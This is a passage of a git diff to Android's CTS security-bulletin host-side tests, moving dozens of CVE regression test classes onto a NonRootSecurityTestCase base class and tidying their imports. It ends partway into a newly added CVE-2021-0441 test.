b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java @@ -23,13 +23,13 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2020_0015 extends NonRootSecurityTestCase { @AppModeFull @AsbSecurityTest(cveBugId = 139017101) diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java index 1207d1abd74..5cae196efc6 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java @@ -16,21 +16,25 @@ package android.security.cts; +import static org.hamcrest.CoreMatchers.not; +import static org.hamcrest.core.Is.is; +import static org.junit.Assert.assertThat; +import static org.junit.Assume.assumeThat; +import static org.junit.matchers.JUnitMatchers.containsString; + import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.device.ITestDevice; -import java.util.Scanner; -import static org.hamcrest.core.Is.is; -import static org.hamcrest.CoreMatchers.not; -import static org.junit.Assert.*; -import static org.junit.Assume.*; -import static org.junit.matchers.JUnitMatchers.containsString; +import java.util.Scanner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0018 extends SecurityTestCase { +public class CVE_2020_0018 extends NonRootSecurityTestCase { /** * b/139945049 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java index 6689459f68a..3d054f099d1 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java @@ -18,17 +18,17 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; +import com.android.compatibility.common.util.CrashUtils; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.compatibility.common.util.CrashUtils; - import java.util.Arrays; -import java.util.ArrayList; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0034 extends SecurityTestCase { +public class CVE_2020_0034 extends NonRootSecurityTestCase { /** * b/62458770 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java index 3a87304a91f..8e913fa5e4c 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java @@ -17,13 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0037 extends SecurityTestCase { +public class CVE_2020_0037 extends NonRootSecurityTestCase { /** * b/143106535 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java index c197972af7a..32394824f74 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java @@ -17,13 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0038 extends SecurityTestCase { +public class CVE_2020_0038 extends NonRootSecurityTestCase { /** * b/143109193 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java index 76ce470724b..eaf41411dff 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java @@ -17,13 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0039 extends SecurityTestCase { +public class CVE_2020_0039 extends NonRootSecurityTestCase { /** * b/143155861 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java index 7c00d842659..83e6b7a17e5 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0072 extends SecurityTestCase { +public class CVE_2020_0072 extends NonRootSecurityTestCase { /** * b/147310271 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java index 7a09a255072..8f285d0fdf7 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java @@ -20,6 +20,7 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import org.junit.Test; @@ -28,7 +29,7 @@ import org.junit.runner.RunWith; import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0073 extends SecurityTestCase { +public class CVE_2020_0073 extends NonRootSecurityTestCase { /** * b/147309942 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java index 614447c9a09..f523d472e03 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0226 extends SecurityTestCase { +public class CVE_2020_0226 extends NonRootSecurityTestCase { /** * b/150226994 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java index 237ed837a3f..a6609a4b26c 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java @@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; - import org.junit.Test; import org.junit.runner.RunWith; +import java.util.regex.Pattern; + @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0241 extends SecurityTestCase { +public class CVE_2020_0241 extends NonRootSecurityTestCase { /** * b/151456667 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java index 2ba62bfb697..59c7370e823 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java @@ -17,13 +17,16 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + import com.android.compatibility.common.util.CrashUtils; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0243 extends SecurityTestCase { +public class CVE_2020_0243 extends NonRootSecurityTestCase { /** * b/151644303 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java index 2bc254e0724..094eaea3d9c 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java @@ -19,7 +19,7 @@ package android.security.cts; import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -27,7 +27,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0338 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2020_0338 extends NonRootSecurityTestCase { @AppModeFull @AsbSecurityTest(cveBugId = 123700107) diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java index 12edb1af319..524f2d60abb 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java @@ -20,18 +20,19 @@ import static org.junit.Assume.assumeFalse; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; - import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + import java.util.Arrays; import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0381 extends SecurityTestCase { +public class CVE_2020_0381 extends NonRootSecurityTestCase { /** * b/150159669 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java index 72765d64f1f..5bdf01708e5 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java @@ -20,18 +20,19 @@ import static org.junit.Assume.assumeFalse; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; - import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + import java.util.Arrays; import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0383 extends SecurityTestCase { +public class CVE_2020_0383 extends NonRootSecurityTestCase { /** * b/150160279 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java index 34c66ded007..000e9705f98 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java @@ -20,18 +20,19 @@ import static org.junit.Assume.assumeFalse; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; - import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + import java.util.Arrays; import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0384 extends SecurityTestCase { +public class CVE_2020_0384 extends NonRootSecurityTestCase { /** * b/150159906 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java index 0f9e7d27dae..b9ba1279d8a 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java @@ -20,18 +20,19 @@ import static org.junit.Assume.assumeFalse; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; - import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + import java.util.Arrays; import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0385 extends SecurityTestCase { +public class CVE_2020_0385 extends NonRootSecurityTestCase { /** * b/150160041 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java index bff13f3d28e..eac03390ff4 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java @@ -18,12 +18,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; import android.platform.test.annotations.SecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0420 extends SecurityTestCase { +public class CVE_2020_0420 extends NonRootSecurityTestCase { /** * b/162383705 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java index 27e202cf759..63c812854d2 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java @@ -18,7 +18,7 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -27,7 +27,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0448 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2020_0448 extends NonRootSecurityTestCase { static final String TEST_APP = "CVE-2020-0448.apk"; static final String TEST_PKG = "android.security.cts.CVE_2020_0448"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java index 84b45a0304c..af8308029a5 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java @@ -18,13 +18,14 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0458 extends SecurityTestCase { +public class CVE_2020_0458 extends NonRootSecurityTestCase { /** * b/160265164 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java index e3f6c262ad0..c9b448f598b 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java @@ -18,12 +18,15 @@ package android.security.cts; import static org.junit.Assert.*; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_11164 extends SecurityTestCase { +public class CVE_2020_11164 extends NonRootSecurityTestCase { /** * CVE-2020-11164 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java index a15335aa15c..a68d2e685c3 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java @@ -1,12 +1,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_11173 extends SecurityTestCase { +public class CVE_2020_11173 extends NonRootSecurityTestCase { /** * CVE-2020-11173 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java index 9664abff649..c1df440ed92 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java @@ -4,12 +4,15 @@ import static org.junit.Assert.*; import static org.junit.Assume.*; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_11282 extends SecurityTestCase { +public class CVE_2020_11282 extends NonRootSecurityTestCase { /** * CVE-2020-11282 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java index a285cd37397..a5e655737b9 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java @@ -16,14 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import static org.junit.Assert.*; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_29374 extends SecurityTestCase { +public class CVE_2020_29374 extends NonRootSecurityTestCase { /** * b/174737879 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java index db50504616d..c02a2eca108 100755 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java @@ -16,14 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import static org.junit.Assert.*; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_29661 extends SecurityTestCase { +public class CVE_2020_29661 extends NonRootSecurityTestCase { /** * b/182917768 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java index 4b1bc22e33f..9df42ae7cf7 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java @@ -22,7 +22,7 @@ import android.util.Log; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.After; import org.junit.Assert; @@ -38,7 +38,7 @@ import org.junit.runner.RunWith; * collected from the hostside and reported accordingly. */ @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0305 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0305"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0305.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java index 2cd9f7a28d4..c85c7325597 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0313 extends SecurityTestCase { +public class CVE_2021_0313 extends NonRootSecurityTestCase { /** * b/170968514 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java index 7487d151c7f..1476e911236 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java @@ -18,7 +18,7 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -27,25 +27,24 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0315 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0315 extends NonRootSecurityTestCase { static final String TEST_PKG = "android.security.cts.CVE_2021_0315"; - ITestDevice mDevice; @After public void tearDown() throws Exception { - AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", mDevice); + AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", getDevice()); } @AsbSecurityTest(cveBugId = 169763814) @Test public void testPocCVE_2021_0315() throws Exception { - mDevice = getDevice(); - uninstallPackage(mDevice, TEST_PKG); + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); /* Wake up the screen */ - AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", mDevice); - AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", mDevice); - AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", mDevice); + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); installPackage("CVE-2021-0315.apk"); runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testOverlayButtonPresence"); diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java index fa4b66b985b..15cdab54d96 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java @@ -17,13 +17,16 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.compatibility.common.util.CrashUtils; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0330 extends SecurityTestCase { +public class CVE_2021_0330 extends NonRootSecurityTestCase { /** * b/170732441 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java index 585d19bfbd2..71ce363ba8b 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java @@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; - -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0430 extends SecurityTestCase { +public class CVE_2021_0430 extends NonRootSecurityTestCase { /** * b/178725766 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java index fb7638c2a9d..6a22748d840 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0439 extends SecurityTestCase { +public class CVE_2021_0439 extends NonRootSecurityTestCase { /** * b/174243830 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java new file mode 100644 index 00000000000..57b9a86c191 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java @@ -0,0 +1,51 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Assert; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0441 extends NonRootSecurityTestCase { + static final String TEST_PKG = "android.security.cts.CVE_2021_0441"; + static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + static final String TEST_APP = "CVE-2021-0441.apk"; + + /** + * b/174495520 + */ + @AsbSecurityTest(cveBugId = 174495520) + @Test + public void 